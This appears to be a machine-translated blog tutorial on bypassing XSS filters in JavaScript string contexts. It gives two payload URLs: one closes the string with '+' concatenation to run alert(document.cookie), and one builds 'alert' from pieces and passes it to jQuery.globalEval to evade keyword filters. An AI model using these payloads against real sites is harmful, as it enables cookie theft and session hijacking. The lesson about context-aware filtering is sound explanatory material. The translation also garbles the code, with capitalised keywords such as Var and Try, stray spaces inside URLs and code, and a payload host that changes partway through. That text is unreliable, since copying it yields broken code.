XSS filtering in Javascript

For XSS filtering, many websites say that to filter double quotation marks, You need to filter out angle brackets to ensure security. Is it completely safe to filter double quotation marks and angle brackets? In the variables imported into Javascript, XSS has many methods. In many cases, we need to analyze them based on specific context. Instead of filtering based on some common online methods, the common online methods are exposed in many specific environments.
Let's take a look at the following online example:
Http://xsst.sinaapp.com/example/test1-2-2.php? Page = 1
<Style>
. Code {border: 1px solid # ccc; background: # ffff77; padding: 10px ;}
</Style>
<Pre>
<Div class = "code" id = "test">
<A href = "javascript: void (0);"> here is only the link for testing... </a>
<A href = "javascript: void (0);"> here is only the link for testing... </a>
<A href = "javascript: void (0);"> here is only the link for testing... </a>
</Div>
<Script src = "../jq. js"> </script>
<Script name = "opposite sister, I 've seen it...">
Try {
Var page = $ ('# test a [href = "1"]');
Var B = document. cookie;
} Catch (e ){
 
}
</Script>
 
<Div class = "code"> the submitted parameters are filtered out:
", [,], \, <,>
If it was you, how would you find a way to bypass it? Someone provided a way to bypass it, which is miraculous. It actually uses the plus sign to bring it up:
Http://xsst.sinaapp.com/example/test1-2.php? Page = '% 2 balert (document. cookie) % 2b'
When the plus sign is used for string connection, the js in the middle will be executed. This is something you did not seem to have seen before. The operation that can trigger alert is definitely more than the plus sign, I have seen many similar skills in other articles. Therefore, filtering XSS in JS is really troublesome, because context impact needs to be considered.
Let's look at another one:
Http://xsst.sinaapp.com/example/test1-2-3.php? Page = 1
<Style>
. Code {border: 1px solid # ccc; background: # ffff77; padding: 10px ;}
</Style>
<Pre>
<Div class = "code" id = "test">
<A href = "javascript: void (0);"> here is only the link for testing... </a>
<A href = "javascript: void (0);"> here is only the link for testing... </a>
<A href = "javascript: void (0);"> here is only the link for testing... </a>
</Div>
<Script src = "../jq. js"> </script>
<Script name = "opposite sister, I 've seen it...">
Try {
Var page = '1 ';
Var B = document. cookie;
} Catch (e ){
 
}
</Script>
 
Filtered:
", <,>, Eval, window, alert
The context here is different. alert and eval cannot be used anymore. What should we do? We can see that jquery is introduced in the page, so we should be able to start with the function provided by jquery, then, use String concatenation to bypass alert filtering and use the following method:
Http://www.bkjia.com/example/test1-2-3.php? Page = '% 2bjQuery. globalEval ('A' % 2b 'lert' % 2b' (document. cookie) ') % 2b'
JQuery. globalEval is used for execution, bypassing the restriction. Therefore, in XSS filtering, context is indeed very important. If you do not have a correct understanding of the context, it is difficult to make a correct filtering. It seems that it is very useful to be familiar with Javascript. You can take a look at Javascript later and use it to modify your blog or something.